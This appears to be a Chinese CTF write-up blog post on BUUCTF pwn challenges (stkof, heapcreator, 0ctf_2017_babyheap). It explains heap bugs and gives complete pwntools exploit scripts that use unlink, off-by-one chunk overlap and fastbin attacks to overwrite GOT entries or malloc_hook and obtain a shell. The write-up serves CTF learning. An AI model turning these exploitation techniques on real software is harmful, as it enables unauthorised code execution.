buuctf中的一些pwn题总结(不断更新)

前言:

本文记录一些buuctf中不是很典型,但是仍然值得记录的pwn题,以便于查看。

0x00:stkof——unlink

查看保护

buuctf中的一些pwn题总结(不断更新)_第1张图片

查看IDA伪代码

buuctf中的一些pwn题总结(不断更新)_第2张图片
自定义size,使用malloc分配。

buuctf中的一些pwn题总结(不断更新)_第3张图片
free之后直接置空,难以利用。

buuctf中的一些pwn题总结(不断更新)_第4张图片
重点来到改中,这里可以随意输入大小,然后根据输入的大小来为堆块中填入数据。这样就造成了堆溢出漏洞。

解题思路

由于此题存在堆溢出漏洞,我们又掌控着heap地址的存在位置,这样我们很容易就想到unlink漏洞来控制堆块。
由于程序本身的原因,我们先malloc一个堆块,这样就可以把程序本身需要申请的输入输出流堆块给申请出来(看了ctfwiki得知)
解决掉这麻烦后,我们就直接来用unlink漏洞来把堆块劫持到heap地址存在的位置0x602140处。

new(0x100)
new(0x30)
new(0x80)
payload = p64(0) + p64(0x21) + p64(heap + 16  - 0x18) + p64(heap + 16 - 0x10)
payload += p64(0x20)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30) + p64(0x90)
read(2, len(payload), payload)
delete(3)

这是一组典型的unlink利用代码,可以把堆块劫持到heap地址存在 - 8处。
这样我们就把chunk2劫持到了heap地址存在处附近。
达到这一步,我们就很容易的可以直接把got表中的信息泄露出来,甚至可以随意修改他们。

payload = 'a' * 0x8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
read(2, len(payload), payload)

buuctf中的一些pwn题总结(不断更新)_第5张图片
把这些got写到这里后,我们就可以对他们进行操作了。
由于此题没有泄露的函数,我们只能通过修改free_got为puts_plt,这样删函数就变成了查函数了,我们delete(1)就会泄露puts_got的真正地址。
接下来就可以直接修改atoi_got为system函数基址了。

完整exp:

#! /usr/bin/env python
from pwn import *

p = process('./stkof')
#p = remote('node3.buuoj.cn', 27616)
elf = ELF('./stkof')
libc = ELF('./libc.so.6')
heap = 0x602140

def new(size):
    p.sendline('1')
    p.sendline(str(size))

def read(index, size, content):
    p.sendline('2')
    p.sendline(str(index))
    p.sendline(str(size))
    p.sendline(str(content))

def delete(index):
    p.sendline('3')
    p.sendline(str(index))

new(0x100)
new(0x30)
new(0x80)
payload = p64(0) + p64(0x21) + p64(heap + 16  - 0x18) + p64(heap + 16 - 0x10)
payload += p64(0x20)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30) + p64(0x90)
read(2, len(payload), payload)
delete(3)
p.recvuntil('OK\n')

payload = 'a' * 0x8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
read(2, len(payload), payload)
gdb.attach(p)
pause()
read(0, 0x8, p64(elf.plt['puts']))
delete(1)
puts = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(puts)
libc_base = puts - libc.sym['puts']
system = libc.sym['system'] + libc_base
binsh = libc.search('/bin/sh').next() + libc_base

read(2, 0x8, p64(system))
#p.recvuntil('OK\n')
p.sendline('/bin/sh\x00')
p.interactive()

0x01:hitcontraining_heapcreator——overlap

查看保护

在这里插入图片描述

IDA查看伪代码

buuctf中的一些pwn题总结(不断更新)_第6张图片
查看伪代码后发现,程序首先会malloc一个0x21的堆块,用来存储堆块的地址,然后我们就可以自己输入任意大小的堆块,然后输入数据。
在本地调试中,申请一块0x21大小,截取到一些数据:

0x603000:	0x0000000000000000	0x0000000000000021
0x603010:	0x0000000000000014	0x0000000000603030
0x603020:	0x0000000000000000	0x0000000000000021
0x603030:	0x000000000a616161	0x0000000000000000
0x603040:	0x0000000000000000	0x0000000000020fc1

从数据来看,我们发现的确是我们想得那样。

buuctf中的一些pwn题总结(不断更新)_第7张图片
删除函数写的很好,很难进行利用。

buuctf中的一些pwn题总结(不断更新)_第8张图片
改函数需要我们输入一个index,然后对其进行修改,我们发现,在改函数中,我们可以多输入一个字节。
这样我们就可以利用off by one。

buuctf中的一些pwn题总结(不断更新)_第9张图片
输入index进行查询,可以用来泄露一些东西。

解题思路

我们发现可以利用off by one来进行overlap。
我们首先申请两个0x21大小的堆块,然后对进行chunk0进行修改。

new(0x18, 'aaa')
new(0x10, 'bbb')
payload = '/bin/sh\x00' + 'a' * 0x10 + '\x41'
edit(0, payload)

我们通过本地调试,截取到下面数据:

0x0000000000000000	0x0000000000000021
0x1ed8010:	0x0000000000000018	0x0000000001ed8030
0x1ed8020:	0x0000000000000000	0x0000000000000021
0x1ed8030:	0x0068732f6e69622f	0x6161616161616161
0x1ed8040:	0x6161616161616161	0x0000000000000041
0x1ed8050:	0x0000000000000010	0x0000000001ed8070
0x1ed8060:	0x0000000000000000	0x0000000000000021
0x1ed8070:	0x0000000000626262	0x0000000000000000
0x1ed8080:	0x0000000000000000	0x0000000000020f81

我们把保存堆地址的堆的size改为了0x41,接下来我们就直接删除这一堆块。
老pwn都知道,我们删除的堆块并不会消失不见,并且当我们再次申请一块相同大小的堆块时,堆块就会申请到这里来,这正是我们要利用的点。
我们再次申请:

delete(1)
new(0x30, 'ccc')

我们本地调试,截取到一些数据:

0x10fe000:	0x0000000000000000	0x0000000000000021
0x10fe010:	0x0000000000000018	0x00000000010fe030
0x10fe020:	0x0000000000000000	0x0000000000000021
0x10fe030:	0x0068732f6e69622f	0x6161616161616161
0x10fe040:	0x6161616161616161	0x0000000000000041
0x10fe050:	0x0000000000636363	0x00000000010fe070
0x10fe060:	0x0000000000000000	0x0000000000000021
0x10fe070:	0x0000000000000030	0x00000000010fe050
0x10fe080:	0x0000000000000000	0x0000000000020f81

我们发现我们可以写的堆居然到存地址堆的前面,其实这也是利用了堆分配机制。
有了这样的堆块,我们就可以直接改写堆指针。
这样我们就可以先泄露数据,再改写got表。

完整exp

#! /usr/bin/env python
from pwn import *

p = process('./heapcreator')
#p = remote('node3.buuoj.cn', 27707)
elf = ELF('./heapcreator')
libc = ELF('./libc.so.6')

def new(size, content):
    p.sendlineafter('Your choice :', '1')
    p.sendlineafter('Size of Heap : ', str(size))
    p.sendafter('Content of heap:', content)

def edit(index, content):
    p.sendlineafter('Your choice :', '2')
    p.sendlineafter('Index :', str(index))
    p.sendafter('Content of heap : ', content)

def show(index):
    p.sendlineafter('Your choice :', '3')
    p.sendlineafter('Index :', str(index))

def delete(index):
    p.sendlineafter('Your choice :', '4')
    p.sendlineafter('Index :', str(index))

new(0x18, 'aaa')
new(0x10, 'bbb')
payload = '/bin/sh\x00' + 'a' * 0x10 + '\x41'
edit(0, payload)
delete(1)
new(0x30, 'ccc')
payload = 'c' * 0x10 + p64(0) + p64(0x21) + p64(0x30) + p64(elf.got['free'])
edit(1, payload)
show(1)
free = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(free)
libc_base = free - libc.sym['free']
system = libc_base + libc.sym['system']
edit(1, p64(system))
delete(0)
p.interactive()

0x02:0ctf_2017_babyheap

查看保护

在这里插入图片描述

IDA查看伪代码

题目有四个功能,增删改查。

buuctf中的一些pwn题总结(不断更新)_第10张图片
先输入size,然后程序会用calloc来申请堆块,而calloc申请的时候,会先清空堆块,这样就不好泄露什么东西了。

buuctf中的一些pwn题总结(不断更新)_第11张图片
输入index后,地址全部置空,并不好利用起来。

buuctf中的一些pwn题总结(不断更新)_第12张图片
输入index后我们可以输入size来改写堆块内容,这样我们就可以用此来进行堆溢出。

buuctf中的一些pwn题总结(不断更新)_第13张图片
中规中矩,输入index后查询content。

解题思路

题目使用calloc,存在堆溢出漏洞。
我们第一步需要泄露libc基址,然后我们就劫持malloc_hook,改写为one_gadget使得getshell。

第一步:泄露libc基址

由于本题采用calloc,并且free堆块全部置空,我们并不是很容易就可以泄露出unsortedbin中的main_arena。我们需要构造一番。

new(0x60)                                            #chunk0
new(0x40)                                            #chunk1   
payload = 'a' * 0x60 + p64(0) + p64(0x71)            #我们溢出0x10,改写chunk1的堆块大小
edit(0, len(payload), payload)
new(0x100)                                           #chunk2
payload = 'a' * 0x10 + p64(0) + p64(0x71)            #构造0x71,绕过检测
edit(2, 0x20, payload)
delete(1)
new(0x60)                                            #new chunk1
edit(1, 0x50, 'a' * 0x40 + p64(0) + p64(0x111))
new(0x50)                                            #chunk3 防止堆块与topchunk合并
delete(2)

我们改写堆块size位,使得堆块堆叠,达到泄露main_arena的目的。

0x55fb28f1a000:	0x0000000000000000	0x0000000000000071       #chunk0
0x55fb28f1a010:	0x6161616161616161	0x6161616161616161
0x55fb28f1a020:	0x6161616161616161	0x6161616161616161
0x55fb28f1a030:	0x6161616161616161	0x6161616161616161
0x55fb28f1a040:	0x6161616161616161	0x6161616161616161
0x55fb28f1a050:	0x6161616161616161	0x6161616161616161
0x55fb28f1a060:	0x6161616161616161	0x6161616161616161
0x55fb28f1a070:	0x0000000000000000	0x0000000000000071       #chunk1
0x55fb28f1a080:	0x6161616161616161	0x6161616161616161
0x55fb28f1a090:	0x6161616161616161	0x6161616161616161
0x55fb28f1a0a0:	0x6161616161616161	0x6161616161616161
0x55fb28f1a0b0:	0x6161616161616161	0x6161616161616161
0x55fb28f1a0c0:	0x0000000000000000	0x0000000000000111       #chunk2
0x55fb28f1a0d0:	0x00007feaf0028b78	0x00007feaf0028b78
0x55fb28f1a0e0:	0x0000000000000000	0x0000000000000071       #fake chunk2
0x55fb28f1a0f0:	0x0000000000000000	0x0000000000000000
0x55fb28f1a100:	0x0000000000000000	0x0000000000000000

做完这些步骤后,我们发现chunk1可以泄露0x60大小的数据,而正好包括了chunk2的main_arena地址。
之后就很容易的的到libcbase了。

第二步:劫持malloc_hook

delete(1)
payload = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 0x13 - 0x10)
edit(0, len(payload), payload)
new(0x60)
new(0x60)
payload = '\x00' * 0x3 + p64(0) + p64 (0) + p64(libc_base + 0x4526a)
edit(2, len(payload), payload)

这里就只是利用了简单的fastbin attack,改写fd指针后,我们申请两次0x60大小的堆块,在malloc_hook - 0x23处找到0x7f,绕过fastbin申请的检测,然后将malloc_hook指针处改写为one_gadget。
之后再申请一次,直接getshell。

完整exp

#! /usr/bin/env python
from pwn import *

p = process('./0ctf_2017_babyheap')
#p = remote('node3.buuoj.cn', 25229)
elf = ELF('./0ctf_2017_babyheap')
libc = ELF('./libc.so.6')

def new(size):
    p.sendlineafter('Command: ', '1')
    p.sendlineafter('Size: ', str(size))

def edit(index, size, content):
    p.sendlineafter('Command: ', '2')
    p.sendlineafter('Index: ', str(index))
    p.sendlineafter('Size: ', str(size))
    p.sendlineafter('Content: ', content)

def delete(index):
    p.sendlineafter('Command: ', '3')
    p.sendlineafter('Index: ', str(index))

def show(index):
    p.sendlineafter('Command: ', '4')
    p.sendlineafter('Index: ', str(index))

new(0x60)
new(0x40)
payload = 'a' * 0x60 + p64(0) + p64(0x71)
edit(0, len(payload), payload)
new(0x100)
payload = 'a' * 0x10 + p64(0) + p64(0x71)
edit(2, 0x20, payload)
delete(1)
new(0x60)
edit(1, 0x50, 'a' * 0x40 + p64(0) + p64(0x111))
new(0x50)
delete(2)
show(1)
main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(main_arena)
malloc_hook = main_arena - 0x68
libc_base = malloc_hook - libc.sym['__malloc_hook']
delete(1)
payload = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 0x13 - 0x10)
edit(0, len(payload), payload)
new(0x60)
new(0x60)
payload = '\x00' * 0x3 + p64(0) + p64 (0) + p64(libc_base + 0x4526a)
edit(2, len(payload), payload)
new(0x60)
p.interactive()

未完待续。。。

0x03:ciscn_2019_final_2——tcache下的堆利用

你可能感兴趣的:(pwn)